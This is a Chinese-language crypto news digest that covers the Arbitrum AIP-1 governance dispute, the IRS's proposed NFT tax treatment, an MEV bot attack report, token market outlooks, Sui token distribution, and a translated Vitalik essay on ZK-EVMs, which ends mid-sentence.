版本，提高网络速度并降低交易成本，并在交易量和日活用户上远远领先于 Optimism，市场份额高达 52.5%。 2023 年 2 月 7 日，Offchain Labs 开发团队宣布将于今年为 Arbitrum One 和 Arbitrum Nova 推出下一代编程环境 Stylus，Stylus 的速度快了一个数量级，可以削减费用，且能与以太坊虚拟机完全互操作，甚至被称为是以太坊虚拟机的升级版「EVM+」。 自推出上线以来，Arbitrum 经历了一系列发展，包括部署测试网络、推出 Odyssey 项目和发布 Nitro。最近的 Nitro 升级和即将推出的 Stylus 编程环境展示了该平台致力于为以太坊用户提供快速、高效和低成本的解决方案。甚至在 3 月 23 日，Arbitrum 日交易量创下了 130 万的历史新高，相比之下，以太坊主网的交易量为 108 万笔。 可以说在此之前，Arbitrum 的运营是非常成功的，社区也非常爱戴 Arbitrum，但就在 ARB Token 空投几天后，Arbitrum 却发生了一起「DAO 事件」风波，事件起因还要回到 (AIP-1) 提案。 3 月 28 日，Arbitrum 社区在 Snapshot 上发起 Arbitrum Improvement Proposal 1 (AIP-1) 提案投票，提案内容为拟引入由 ARB 持有者管理的去中心化自治组织结构 ArbitrumDAO，Arbitrum 基金会也将为 ArbitrumDAO 社区服务并受其管理。 然而投票还未结束，AIP-1 提案也尚未通过。却被 Patrick McCorry 博客文章爆出，Arbitrum 基金会却已经事先创建了一个地址名为「Arbitrum DAO Treasury2」的多重签名钱包，收到近 7 亿枚 ARB Token，且已经提前出售了 ARB Token 以换取稳定币，这立刻引起了社区热议，并引起了持有人不满。 社区和一些合作方对 Arbitrum 团队和所谓的治理感到极度失望，认为 AIP-1 并不是一次真正的投票，是把 DAO 原则直接扔到窗外。在未经社区同意之时，提案内容就已被执行，这样的投票又有何意义呢？ 在多番压力下之下，4 月 3 日，Arbitrum 官方几次三番在社交媒体上针对此事做出回应，Arbitrum 的去中心化治理正按照原本的计划进行，但很多决定必须在 DAO 正式启动之前就做出。AIP-1 提案的目标是让社区参与初始决策，最终让 Token 持有者通过 DAO 投票批准初始决策和框架。在重要的争议点上，Arbitrum 表示否认，基金并没有在 AIP-1 提案未获投票通过之前出售 5000 万枚 ARB。其中 4000 万枚 ARB 已作为贷款分配给金融市场领域的成熟参与者，剩下的 1000 万枚 ARB 则被兑换成法币以用于支付运营成本。 随着 Blockworks Research 和 Arbitrum 生态最大治理代表 TreasureDAO 的公开反对，「DAO 事件」影响再次升级。 Blockworks Research 公开表示对这一提案投出反对票，并痛斥 AIP-1 意味着当前社区治理状态的倒退。随后 TreasureDAO 也表示已对 Arbitrum 基金会提出的 AIP-1 提案投反对票，并要求 Arbitrum 重新提交一份提案，其中需要更清楚地说明特别拨款计划的范围，以及对 AIP-1 提案进行拆分。对此，Arbitrum 承诺将解决从社区收到的反馈，并在本周对该提案的每个部分进行重新修改。 截止撰文时 4 月 3 日 11:15，据 Snapshot 最新投票数据显示，Arbitrum 基金会发起的综合治理包 Arbitrum 改进提案 (AIP-1) 从最初 81.7% 赞成反转为当前的反对票比例为 82.58%。 AIP-1 提案的投票将于北京时间 4 月 4 日 6:13 结束，在如此大的舆论压力之下，AIP-1 提案通过的可能性极小，那么接下来 Arbitrum 会如何收场？社区的每一个人都很想知道，BlockBeats 也将持续关注。  ( 4 min )
    B站推出高能链App，用以管理用户数字资产
    PANews 4月3日消息，据IT之家报道，B站于近期上线了一款名为“高能链”的App。官方表示，高能链App是一款基于高能链实现的链工具产品，具有链地址管理、链上资产查看/搜索等功能，用户可一站式管理自己拥有的链上资产，同时也是通往高能链生态的入口。 经下载体验，这款App支持查看bilibili数字藏品、链上地址搜寻并查看地址链资产信息。此外，B站官方表示这款产品目前可使用的场景为哔哩哔哩、DoDo以及高能链。 此前2021年12月消息，B站测试“高能链”，启动“元宇宙”业务。  ( 1 min )
    买NFT要交税了？速览美国国税局关于NFT税的新提案
    编译：Cecilia, bfrenz DAO 来源：CoinDesk 等, 链接请见文末“参考资料” 加密货币仍处于初期发展阶段，NFT 更是一种全新的资产类别，也是在 2017 年 CryptoPunks 的推出后才逐渐受到广泛关注。数字货币所有权正在快速实现和推广，各种政策和法律也还在适应和消化这个新的事实，这可以理解。 上周，美国国内税收局（IRS）发布了一份文件，请求公众评论并提出了有关 NFT 税务处理的新指导意见。该声明（Notice 2023-27）质疑是否应将 NFT 与传统的收藏品（如邮票、艺术品和高端酒）归为同一类别。这份文件同时发出提问，针对数字艺术是否可以被纳入收藏品类别，或者是否需要开辟一种新的类别，公开寻求大众的意见。 图片来源 Cointelegraph TL；DR： 根据3月21日发布的提案通知，美国国税局计划将 NFT 作为收藏品进行征税。 目前处于提案发布，公开征集意见中，尚未最终确定。 美国国税局打算采用“透视分析法”来确定 NFT 是否属于收藏品。在公众征集期后，将发布最终指导方针。 如果按照提案内容，NFT将被定义为收藏品，且按照收藏品征税，最高长期资本利得税率为 28%。而其他资产，如股票和加密货币，一般只有最高 20% 的联邦税率。 更全面的税收措施计划，或许将有助于消除市场上的不确定性。‍ ‍ 历史上，根据 IRC 第 408 节，只有五种资产类别被归类为收藏品（ collectibles )：艺术品、地毯或古董、金属或宝石、邮票或硬币和酒精饮料。第 408 节赋予了 IRS 定义新收藏品的权力，但是特别指出这些必须是“有形个人财产”。加密货币税务公司 Tax Bit 的政府部门负责人、前 IRS 首席律师 Miles Fuller 称这是一个“法律难题”。他说，”因为事实上，IRS 在监管层面上不能说他们将所有的 NFT 都归类为收藏品，因为 NFT 是无形的。” 尽管如此，他认为 “Notice 2023-27” 有助于划清 NFT 持有者/收藏者的税务责任。尤其是，IRS 打算将与实物物品相关联的那些 NFT 视为收藏品，这在文件中被描述为“透视分析法（Look-through analysis）”的一种解释。基本上，它将判断根据目前税法，NFT 的相关权利或资产是否符合目前在税法中定义的收藏品标准，如果是，则 NFT 被定义也是一种收藏品。NFT 可以代表任何东西，真的是任何东西，所以 IRS 的意思是，怎么收税取决于它代表了什么。‍ 根据 IRS 的“透视分析法”，当 NFT 作为某个实物资产的所有权证书时，其将被视为收藏品，例如一个 NFT 认证拥有一个宝石的所有权，也将作为一件收藏品。但相反，虚拟场景中使用或开发“土地“通常不属于收藏品，因此提供使用或开发该虚拟土地的 NFT 通常也不属于收藏品。 IRS 将在未来几个月发布 NFT 指导方针之前，都使用这种“透视分析法”。 目前已经有一些使用这种“透视分析法”的具体案例：碎片化 NFT 平台 Otis 出售与实物资产相关的 NFT ，例如稀有书籍和交易卡片；或者像 BlockBar 这样的 Web3 公司专注于与连接实体高端葡萄酒和烈酒的 NFT。在这些情况下，NFT 可以像所有权证书或产权证书一样发挥作用，Fuller 解释说，“IRS 并不一定会将 NFT 作为资产本身征税，而是在于 NFT与 实物资产的联系使其具有价值。IRS 并不是试图对技术征税，而是试图对该技术所产生的经济单位征税。税法的目的是征税于实际的经济财产。” 此外，该提案通知似乎对“透视分析法”是否适用于数字艺术文件本身存疑，以及数字艺术品是否可以像其实物艺术品一样被归类为收藏品。纽约注册会计师 Justin Macari 预测，IRS 将在确定数字资产是否具有收藏价值时，会密切关注知识产权权利。IRS 还指出，数字文件是否构成“艺术品”也不太清楚（比如写作类 NFT，一篇被收藏为 NFT 的 medium 文章）。IRS 正在就这个问题和其他与 NFT 税相关的问题征求意见，在通知中，列出了请求反馈的两个主要问题： “我认为最根本的是涉及知识产权的使用，” Macari 告诉 CoinDesk。“我会向 IRS 提出意见，因为关于这块有很多要说的。” 不同类型的 NFT 可能属于不同类型的资本利得范围。Macari 举例 Snoop Dogg （美国说唱歌手）持有的 Bored Ape 无聊猿 #6723 。无聊猿所有者拥有与其 NFT 相关的知识产权。正如 Macari 所说，如果拥有特定的头像类 NFT (PFP)或者 1/1 NFT 所附属的 NFT ，可以使持有者拥有在这个基础上创造实物商品（卖周边）和开盈利公司的权利，则这可能是长期收藏价值的明确标识符。与之相对的是，仅代表数字资产（例如元宇宙土地）的 NFT， 这种类型的 NFT 更接近 IRS 对普通资产的定义，因此两种应被相应征税。 普通资产根据个人的收入水平，税率在 0% 到 20% 之间浮动，而收藏品资产则以 28% 的税率征税。尽管 NFT 收藏者可能会面临税率上升的风险，但 Fuller 和 Macari 都认为增加法律上的清晰度还是积极的。“从一方面来讲，这次提案通知是一件好事，因为它给 NFT 作为一个整体带来了更多的合法性，”Macari说。 投资者在出售资产时需要缴纳资本利得税。该税是基于卖家的利润而产生的。 短期资本利得适用于持有时间不到一年的资产。这类销售所获得的利润会按照普通收入税率缴纳，这也适用于工资等。（税率有七个边际税率，从 10% 到 37% 不等。）长期资本利得适用于持有时间超过一年的资产。这些税率通常低于普通收入税率。股票和加密货币的最高税率为 20% ，适用于高收入纳税人。（较少收入的个人则需要缴纳 0% 或 15% 的税。） 但藏品（通常被超级富豪所拥有）则受到不同的税收制度的约束。它们的最高税率为 28% 。它们的结构也不同：藏品按照普通收入税率缴税，最高可达28%。这与股票的三级制度（0％、15％和20％）不同。 简而言之：最高收入的美国人需要为藏品支付更高的税率。 总的来说，纳税人一般不能在个人退休账户中持有藏品，因为退休账户是受税收优惠的。一家会计所的合伙人Lewis 提到了，最近的 IRS 提案通知继续支持这一点，意思是，NFT 被分类为藏品的情况下，不能用这些退休账户去购买 NFT，否则可能会触发所得税和罚款。 如果你有关于这个话题的想法，可以在 2023 年 6 月 19 日或之前以书面形式提交评论。确保包括对 Notice 2023-27 参考。 最简单的方法是通过联邦 eRulemaking 网站（www.regulations.gov）电子方式提交评论（在 Regulations.gov主页的搜索字段中键入“Notice2023-27”查找此通知并提交评论）。 Lewis 表示， IRS 的指导“对纳税人和税务从业人员来说是一个重大进步”。这在如何利用旧的税法来处理有形收藏品并将其应用于现代数字资产方面也很有创意。 然而，对于究竟什么是“收藏品”，这个定义仍存在一些灰色地带，并不总是黑白分明的，何况对于新兴的 NFT。 比如这个场景，一个人在车库里收藏着稀有汽车，专门用于收藏。但是，如果另一个人拥有同款的车，但每天开着它去上班。这辆车是一件收藏品，还是一辆交通工具呢？同样，如果一个人将一张古董桌子用于日常生活，这是否也算一件收藏品呢？ 对于 NFT 也是如此，有人放着专门用作收藏，也有人会做一些实际的用处。 虽然 IRS 的指导计划还在等待反馈中，但已经能看出来，NFT 所有者的资产未来税收的可能性。 购买、交易加密货币和 NFT 的个人投资者们应该意识到税务的影响，而加密货币和 NFT 交易则需要开始推广相关的税务知识学习计划，以帮助 holders 避免未来的问题。 随着 28% 的资本利得税取代过去 15% 的资本利得税率，这一消息可能会给过去一年中努力维持交易量的 NFT 生态系统带来更多挑战。但是，换个视角看，这些更全面的税收措施计划，或许将有助于消除市场上的不确定性。 现在已经有人上法庭反对这些新的 IRS 措施了，但值得注意的是，目前这些文件仍是初步的指导措施，未来可能会多次修改。由于主流 NFT 市场均受 IRS 的影响，这些计划的最终决定和实施，将对整个 NFT 领域具有重要的影响。 参考资料 1.https://www.coindesk.com/web3/2023/03/31/how-will-nfts-be-taxed-understanding-the-irs-new-proposed-guidelines/ 2.https://www.makeuseof.com/best-software-for-filing-crypto-taxes/ 3.https://www.cnbc.com/2023/03/22/how-are-nfts-taxed-the-irs-plan.html‍‍  ( 3 min )
    MEV机器人遭攻击损失达2000万美元，系bundle交易过程中资金被替换
    PANews 4月3日消息，推特用户@GaoFlynn发文称：“有几个MEV套利大户遭受重创，整个机制链路上有一环出现作恶者，从builder到relayer到validator都有可能，这可能是撼动整个MEV生态的第一个重大转折点。简单解释为黑客拿到了三明治套利的大户bot的bundle交易，bundle里有3个交易为1.大量买入，2.被夹用户的交易，3.大量卖出。黑客拿到了这个bundle，拆解了bundle，把2替换了成自己的交易，用便宜代币换走了bot的资金，之后第3步交易失败。” 此外，根据@punk3155的推文，部分MEV机器人遭遇了上述攻击，总损失已达2000万美元。  ( 1 min )
    4月加密叙事展望：上海升级赛道、Layer2、NFTFi、香港概念
    非投资建议 以太坊升级已经确定时间，现在的疑点在于以太坊质押开放提现之后，会不会在二级市场上形成巨额抛压。我尝试从几个角度来分析这个问题：一是质押者是否为长期主义者；二是卖出获利是否是其刚需。 早期进入的质押者是长期主义者是确定性的，质押 ETH 是其对于 ETH 价值的长期看好，不会因为短期事件而取出自己的筹码。并且，一项数据表明，60%（现在 ETH 价格上涨，可能数据会发生变化）处于亏损状态（将当前的 ETH 价格与每个 ETH 质押时的价格进行比较）；平均最大质押池的存款人目前也处于亏损状态。亏损状态的长期主义者卖出倾向和 Hold 倾向，在我个人的观点中，Hold 倾向>卖出倾向。 而后进入以太坊质押赛道的质押者往往可以通过 Lido 等质押协议提前取出流动性。stETH 等流动性凭证可以帮助质押者快速退出。当卖出变现刚需已经在以太坊上涨之后，就会出现。拥有 stETH 等流动性凭证的投资者会卖出获利，而不是在以太坊开始提现后才售出。另外值得关注的是 stETH 的脱锚，但从数据上来看，并没有这种趋势。 因此，从我个人的角度来看，以太坊在上海升级后，可能不会出现太大的抛压。以及，以太坊提现有一个排队机制，每天进入市场的以太坊抛压也是固定的。 另外我们来看几个 LSD 协议： LDO：LDO 是相关性最大的 Token，唯一不确定性在于其将 v2 升级推迟到了 5 月中旬，比上海升级时间节点延迟了一个月左右的时间，这可能造成了一定的 FUD。从协议角度，这是好的，因为为了确保安全，Lido 做了大量的努力。而对于币价而言，会造成短期影响。 在以太坊上上海升级之后，除了 Lido 之外，还有几个可能出现的趋势是： 以太坊质押的去中心化：RPL、SSV、SD... LSDFi 的兴起（提升收益率，增加资本效率）：YFI、AURA（马上就要登陆 Arbitrum）、FRX... （我写的是一些我正在关注的协议） 个人利益相关的是：SD、AURA（LDO 之类的可能会在某个时间节点买） ARB 是当前加密市场的热点币。我个人是非常看好 ARB 的，也期待它在今年的升级和以太坊的新升级为 Arbitrum 生态所带来的变化。但它目前存在一些问题/FUD：1）本应锁定的代币进行了移动；2）筹码分散在散户手里，且目前还没有出现对于 ARB 代币的明确需求。不过从 AIP 反对的票数高于同意的票数来看，第一点的 FUD 快要结束了，我们不妨在 4 月 4 日最后来看看投票结果如何。 利益相关 BONE 是我一直在持有的一个代币，我始终认为它是有机会的。尤其是在测试网数据比较好的背景下，更加坚定了我对于 Shibarium Layer2 的看好（虽然之前也有 FUD）。 利益相关 对于 Uniswap v3 代码专利到期这一事，我的思路是看看哪些 DEX 能够利用 Uniswap v3 代码更上一层楼，而不是单纯的 Fork。 PancakeSwap——v3 即将在 4 月 3 日登陆。我阴谋论地想，将 Uniswap 部署在 BNB 链上，专利到期是重要原因之一。 TraderJoe——JOE 在这几天迎来了一波上涨小高潮，它在最好的时机做了最好的事情。我也期待它能够在后续代码开源之后，推出更广纬度的产品。 Gamma Strategies——Gamma是建立在Uniswap v3上的流动性管理协议，那么当v3代码开源之后，Gamma也将有机会与更多的DEX进行合作。 OKB Chain OKB Chain 的推出对于 OKB 本身是一种利好。其次可以稍微关注 OKT Chain 上的 Swap CherrySwap，说不定要迁移到 OKB Chain 上。 利益相关 Bedrock 升级投票被延期到了 4 月 5 日。Bedrock 升级将带来：1）理论上最佳的调用数据提交；2）共识及执行客户端分离；3）微观的客户端差异（500 行）；4）快速的点对点网络；5）存款时间更短（2.5 分钟）；6）更智能的同步、排序和状态提交。潜在的影响是对于模块化的支持和支持引入ZKP证明。 确定升级之后，对于未来 OP 生态的竞争力也是一种提升。 对于GPU算力的需求是当下的主流叙事，RNDR则是去中心化GPU算力的头牌。不过，虽然看似拥有不错的基本面，但是RNDR代币价格的上涨需要事件的推动。近期可能出现的事件来源于苹果公司，苹果即将发布MR可能是一个契机。 利益相关 CFX、COCOS 和 INJ，记得关注在香港 4 月中旬的活动信息。 利益相关 之前提过了FEVM，我会重点关注FEVM上的生态发展，后面可能会写一篇单独的展望。 利益相关 NFT市场可能会因为Yuga Labs新的动作而产生一些变化。这个新动作可能会体现在Koda的独立上，它会对APE产生一些催化剂。而另外一个对NFT市场的利好是Blur可能的新动作，List2Earn将会是一种怎样的模式，我们还有待商榷。但值得回味的是，Blur官方是非常懂NFT市场的，值得关注他们后面的活动。 回购已经开始了。不过官方在愚人节的操作秀我一脸，消耗了市场预期和上涨动力。 利益相关 Kaspa 吃的是以太坊从 Pow 转 Pos 的红利，将的更多是故事——只要有人愿意买单，便能上涨。Kaspa的故事是公平分配（去中心化）和GhostDAG（GhostDAG 将“孤儿”块合并到链中以形成块 DAG，然后使用一种新颖的贪婪算法对块进行排序，以便快速且高概率地青睐连接良好的诚实块。 GhostDAG 允许 Kaspa 规避区块链的传统权衡，在保持比特币理论安全保证的同时，将块率提高几个数量级。）简单来说Kaspa就是优化了BTC的模式。不过我个人现在没有买的兴趣（无利益相关），因为现在处于人声鼎沸的时刻，但可以中长期关注。（其实币圈人很现实的，你只有涨才行，如果你跌了，你就是依托答辩。） 另外，Zksync Era 生态协议太多了，后面会单独出一篇。  ( 2 min )
    Sui主网即将上线，如何获取Token？
    Sui是一种基于Move语言的主要新L1公链之一。永久测试网最近上线，并完成了更新。Sui 主网将于今年 Q2 上线, 据官方表示，目前SUI Network没有正式的空投计划。但是，SUI Network已经发布了SUI Token社区访问计划，以及SUI Token的分配细节。Sui基金会将通过Token分配来激励那些在Sui生态系统中发挥重要作用的人，以推动Sui的发展。这将有助于吸引更多的人参与到Sui的发展中来，并使Sui生态系统更加健康和繁荣。 编译：Cindy，SophonLabs Sui是一种基于Move语言的主要新L1公链之一，其技术发展备受主流媒体和资本的关注。与其他新兴的L1公链，特别是Aptos相比，Sui拥有一整套新颖的设计和技术创新能力，使其能够提供一个几乎拥有无限“横向扩展性”的区块链。此外，Sui还具有高度灵活性和易用性，为开发者提供了丰富的工具和资源，以便他们能够更容易地构建各种区块链应用程序。 Aptos等项目直接采用了Meta开发的Libra项目的原始Move语言，而Sui则通过自身定制版本的Sui Move来编写其智能合约。Sui Move是一种基于资源的智能合约语言，使用了Ability加持的Struct，使其在并行处理方面具有天然优势。这种语言的主要特点是它基于资源的所有权模型，而不是基于账户模型，这意味着在Sui Move中，每个资产都有一个所有者，交易时需要进行所有权的转移。 相比于Diem的原始Move语言，Sui Move创建了更多的自带函数，例如“transfer”函数可促成“无摩擦的大规模资产创建”，以满足其大规模采用的设想。此外，Sui对Move语言的修改还包括厘清了类型系统，提供更流畅的编程体验。在Sui Move中，开发人员可以使用原生类型的资产转移和所有权，无需像在传统Move语言中那样使用“封装模式”。Sui Move还对资源“类型”的优化，允许将不同类型的资产捆绑成更大的“资产容器”，扩展自定义类型的功能性，提供更清晰的多态结构。 总的来说，Sui Move是一种高度定制化的Move语言，旨在为Sui提供更高的灵活性和可扩展性，以满足其大规模采用的需求。通过对Move语言的修改，Sui Move提供了更丰富的功能和更流畅的编程体验，使开发人员能够更轻松地构建各种区块链应用程序。 Sui Network永久测试网近期上线，并完成了更新。Sui Network的永久测试网是一个无需许可的长期运行的测试网，旨在为开发人员提供一个稳定、安全的环境来测试和优化其应用程序。与其他测试网不同的是，Sui Network的永久测试网将在主网上线后继续运行，以保持其在开发人员社区中的重要性。 该测试网的无需许可性意味着任何人都可以自由加入，无需请求许可或遵循任何特定的规则。这使得测试网能够更好地反映真实世界的使用情况，从而提供更准确的测试结果。此外，由于该测试网长期运行，开发人员可以在不受时间限制的情况下进行测试和优化，从而提高其应用程序的质量和性能。 Sui Network的永久测试网还提供了高度安全的环境，以确保测试过程中的数据和资产安全。测试网使用了最新的安全技术和协议，包括多重签名、智能合约审计和安全漏洞测试等，以保护测试网中的数据和资产免受潜在的攻击和漏洞。这为开发人员提供了一个安全的环境，使他们能够专注于测试和优化其应用程序，而不必担心安全问题。 总的来说，Sui Network的永久测试网是一个稳定、安全、无需许可的测试网，旨在为开发人员提供一个理想的环境来测试和优化其应用程序。其长期运行和高度安全的特性使其成为开发人员社区中不可或缺的一部分。 Sui 主网将于今年 Q2 上线，据官方表示，目前SUI Network没有正式的空投计划。但是，SUI Network已经发布了SUI Token社区访问计划，以及SUI Token的分配细节。 Sui基金会致力于支持和赋能Sui生态系统中的建设者和创造者。它通过在社区中传播SUI Token来实现最佳用途，在推动去中心化工作方面发挥着关键作用。初期，由Sui基金会管理的社区储备拥有一半的SUI Token，这些Token将用于各种社区项目。 委托计划是其中一个重要的项目，Sui基金会将帮助引导社区运行的验证节点，并通过将质押权委托给第三方节点来促进网络验证节点权益的公平分配。这将有助于加强网络的安全性和去中心化程度。 此外，基金会还计划通过Grants分配来直接向开发人员、社区大使和其他在Sui上构建并创建教育材料的参与者分发Token，以使他们更容易加入Sui。此外，基金会还将继续支持Sui协议的研发，确保其能够一直保持优势。验证者补贴也是基金会的一个项目，它已经拨出大量Token来补贴网络早期阶段的stake奖励，以鼓励更多的验证者参与网络。 Sui基金会非常重视那些在Sui生态系统中发挥重要作用的人，他们通过传播Sui知识、引入开发人员和测试Sui应用程序等方面做出了贡献。因此，一旦Sui主网启动，基金会将确保这些Sui朋友能够参与Sui的Token分配。 Sui基金会将确保Token分配的公正性和透明度。它将采用一种公正的分配机制，以确保所有参与者都能够获得合理的Token奖励。此外，基金会还将确保分配过程的透明度，以便所有人都能够了解分配的方式和原因。 总的来说，Sui基金会将通过Token分配来激励那些在Sui生态系统中发挥重要作用的人，以推动Sui的发展。这将有助于吸引更多的人参与到Sui的发展中来，并使Sui生态系统更加健康和繁荣。  ( 2 min )
    Vitalik：ZK-EVM如何改变以太坊验证方式并成为第三种客户端？
    转自：《Vitalik：以太坊的多客户端理念将如何与 ZK-EVM 交互｜万物研究院翻译》 编译：Ken0928.eth，万物研究院 Vitalik在其2023年4月1日的文章《以太坊的多客户端理念将如何与 ZK-EVM 交互？》中讨论了以太坊多客户端理念的现状和发展趋势，并就ZK-EVM的兴起如何影响以太坊区块链验证方式进行分析。目前，以太坊多客户端的理念由架构去中心化的技术效益和政治去中心化的社会效益两者驱动，并为两者服务。未来，随着零知识证明技术的发展，第一类 ZK-EVM 或将基于SNARK证明来改善Layer1的验证方式，并逐渐引导以太坊向着“开放的多客户端 ZK-EVM 生态系统”发展。 多客户端理念是一种未被充分讨论但非常重要的、以太坊维护其安全性和去中心化的方式。以太坊有意没有一个默认的“参考客户端”，相反，仅有一个协作管理的规范（目前的共识规范由可读但运行速度较慢的Python编写）并且有多个团队实现这一规范（也称为“客户端”），这些客户端是用户目前实际建立并运行以太坊节点的方式。 图：以太坊客户端类型及部署比例 每个以太坊节点运行一个共识客户端和一个执行客户端。截至今天，没有共识或执行客户端占网络的 2/3 以上。如果在其类别中份额低于 1/3 的客户端出现错误，则网络将照常运行。如果在其类别中占有 1/3 到 2/3 份额的客户端（例如 Prysm、Lighthouse 或 Geth）出现错误，链将继续添加区块，但它会停止敲定区块（finalizing block），从而为开发人员提供时间进行干预。 ZK-EVM的兴起如何影响以太坊链验证方式是一个未被充分讨论但非常重要的、并即将要到来的重大事项。基于SNARK证明的EVM执行已经开发多年，该技术正被基于ZK-rollups的Layer2协议积极使用。其中一些 ZK-Rollup今天在主网上很活跃，并且很快就会有更多。但从长远来看，ZK-EVM 不期望仅仅被用于Rollup，我们也想用其来验证Layer1的执行情况（另请参阅：Verge）。 这时，ZK-EVM 实际上成为第三种类型的以太坊客户端，对网络安全的重要性与执行客户端和共识客户端一样重要。那么ZK-EVM 将如何与多客户端理念交互？困难的部分之一已经完成：以太坊已经有多个正在积极开发的 ZK-EVM。但其他困难的部分仍然存在：我们如何为zk创建一个“多客户端”生态系统来验证以太坊区块的正确性？这个问题带来了一些有趣的技术挑战，但眼前的问题是这样的权衡是否值得。 以太坊的多客户端理念是一种去中心化，就像一般的去中心化一样，人们可以关注架构去中心化的技术效益，也可以关注政治去中心化的社会效益。最终，多客户端的理念是由两者驱动的，并为两者服务。 2.1 技术去中心化的论据 技术去中心化的主要好处很简单：它降低了一个软件中的一个错误导致整个网络灾难性崩溃的风险。这种风险在2010 年的比特币溢出漏洞事件中真实发生过。当时，比特币客户端代码没有检查交易输出的总和是否溢出（通过总和超过最大整数2^64−1回绕到零)，所以有人利用这一漏洞做了一笔交易，给了自己数十亿比特币。该漏洞在数小时内被发现，并迅速在网络中完成了修复和部署工作，但如果当时有一个成熟的生态系统，这些比特币就会被交易所、跨链桥和其他途径所接受，攻击者可能早已卷巨款而逃。但如果有五个不同的比特币客户端，他们不太可能都有相同的错误，因此一旦发生这类事故，整个网络会立即出现共识分歧，而分歧中有错误的一方可能会输掉。 使用多客户端方法来最小化灾难性错误的风险仍然需要权衡：这种情况下用户会遇到共识失效（consensus failure）的bug。比如，如果您有两个客户端，则客户端对某些协议的规则有细微编码差异的风险，虽然两种方式都是符合规则的，但分歧会导致区块链硬分叉。在以太坊的历史上发生过一次（还有其他更小的分叉，其中运行旧版本代码网络的一部分被分叉）这类严重的分叉。单一客户端机制的捍卫者指出，共识失效是不采用多客户端实现的原因：如果只有一个客户端，则该客户端必然会为自己辩护。他们关于客户数量如何转化为风险的模型可能如下所示： 图：共识失效风险与客户端类型数的关系 但Vitalik本人并不认同单一客户端机制，首先 (i) 2010 年比特币的灾难性错误非常重要， (ii)并且实际上永远不会只有一个客户端。后一点在2013 年的比特币分叉中表现得最为明显：由于两个不同版本的比特币客户端之间存在分歧而发生了分叉，其中一个版本在单个块中可以修改的对象数量上有一个偶然的、未被记录的限制。因此，理论上一个客户端在事实上通常是两个客户端，理论上五个客户端事实上可能是六个或七个客户端 - 所以我们应该走在风险曲线的右侧，并且至少有几个不同的客户端。 2.2 政治去中心化的论据 垄断客户端开发人员处于拥有大量政治权力的位置。如果客户端开发人员提出更改，而用户不同意，理论上他们可以拒绝下载更新版本，或者在没有其的情况下创建一个分叉链，但实际上用户通常很难做到这一点。如果不当的协议更改与必要的安全更新捆绑在一起怎么办？如果主要团队威胁说如果他们不按他们的方式行事就退出怎么办？或者，如果垄断客户端的团队最终成为唯一拥有最强大协议专业知识的群体，而使生态系统中其他人处于不利地位，无法有效判断客户端团队提出的技术方案，从而使客户端团队有很大的空间来推动其特定的目标和价值观，而这与更广泛的社区并不匹配。 在2013-2014 比特币 OP_RETURN 战争的背景下，一些参与者公开支持歧视区块链的一些特别用途。这激发了以太坊对协议政治的担忧，也是以太坊早期采用多客户端理念的重要促成因素，这旨在让小群体更难做出此类决定。以太坊生态系统特有的担忧——即避免权力集中在以太坊基金会内部——为这一方向提供了进一步的支持。2018 年，基金会决定有意不实施以太坊 PoS 协议（即现在所谓的“共识客户端”），而将该任务完全留给外部团队开发。 如今，ZK-EVM 正在积极地被用于Rollup。这通过允许昂贵的 EVM 执行仅在链下发生几次来增加扩展性，而其他人只需验证链上发布的SNARKs即可证明 EVM 执行结果的正确性。它还允许一些数据（特别是签名）不包含在链上，从而节省 gas 成本。这给了我们很多可扩展性的好处，可扩展计算与 ZK-EVM 和可扩展数据与数据可用性采样的结合可以让扩展走得更远。 然而，今天的以太坊网络也有一个不同的问题，一个再多的 L2 扩容也无法自行解决的问题：L1 难以验证，以至于没有多少用户真正运行自己的节点。相反，大多数用户只是信任第三方工具提供商。Helios和Succinct等轻客户端正在采取措施解决该问题，但轻客户端远非全验证节点：轻客户端仅验证称为同步委员会（sync committee）的随机验证器子集的签名，而不会验证该链是否实际上在遵循协议规则。为了让我们进入一个用户可以实际验证链是否遵守规则的世界，我们必须做一些不同的事情。 3.1 选项 1：限制L1，将几乎所有活动强制移动到L2 随着时间的推移，我们可以将L1每个区块的 gas 目标从 1500 万减少到 100 万，足以让一个区块包含一个 SNARK 和一些存款和取款操作，但其他的不多，从而使几乎所有的用户活动强制移动到L2协议中。这样的设计仍然可以支持在每个块中提交许多Rollup：我们可以使用由定制构建器（customized builders）运行的链下聚合协议来从多个L2协议收集多个SNARK证明，并将它们组合成单个 SNARK证明。这时，L1的唯一功能是成为L2协议的清算中心，验证它们的ZKP并偶尔促成它们之间的大额资金转移。 图：选项一的可能技术解决方案图解 这种方法可能有效，但它有几个重要的弱点： 因此，尝试找到一种使用 ZK-SNARKs 来验证L1的方法似乎更合理。 3.2 选项 2：基于SNARK证明的L1验证 第一类（完全等效于以太坊）ZK-EVM可用于验证L1的 EVM 执行。我们可以编写更多的 SNARK 代码来验证区块的共识方面。这将是一个具有挑战性的工程问题：今天，ZK-EVM 需要几分钟到几小时来验证以太坊区块，并且实时生成zk证明需要（i）改进以太坊本身以删除对 SNARK 不友好的组件，（ii）或者通过专门的硬件获得巨大的效率提升 ，(iii)或者通过更多的并行化来改进架构。然而，没有根本的技术原因去阻止三者的实现——所以Vitalik本人希望即使需要很多年，它也最终会完成。 这是ZKEVM与多客户端交集的地方：如果我们使用 ZK-EVM 来验证L1，要使用哪个 ZK-EVM？ 对Vitalik本人来说，（3）似乎是理想的，至少在我们可以形式化证明所有 ZK-EVM 能实现彼此等效并完成技术改进之前，我们可以选择一个最高效的。(1) 会牺牲多客户端范式的好处，并且 (2) 会关闭开发新客户端的可能性并导致更加集中的生态系统。(3) 有挑战，但至少目前这些挑战似乎比其他两个选项的挑战要小。 实施 (3) 不会太难：每个ZK-EVM类型的证明可能都有一个P2P子网络，使用一种ZK-EVM类型证明的客户端将监听相应的子网络并等待直到他们得知验证者认为其证明有效。 (3) 的两个主要挑战可能如下： 延迟挑战可以通过在设计单slot敲定协议时更加谨慎来解决。单slot敲定协议可能需要每个slot进行超过两轮的共识，因此可能需要第一轮包含区块，并且只需要节点在第三轮（或最后一轮）签名之前验证证明。这确保了在发布区块截止时间和预计证明可用时间之间始终有一个重要的时间窗口可用。 数据效率问题必须通过单独的协议来聚合与验证相关的数据来解决。对于签名，我们可以使用ERC-4337 已经支持的BLS聚合。另一类验证相关的数据是用于隐私的ZK-SNARKs，当然这些数据往往有自己的聚合协议。 值得一提的是，基于SNARK证明的L1验证有一个重要的好处：链上 EVM 执行不再需要由每个节点验证，这使得大大增加EVM的执行数量成为可能。这可以通过大幅提高L1 的 gas limit，或通过引入受保护的rollup来完成，或两者兼而有之。 使一个开放的多客户端 ZK-EVM 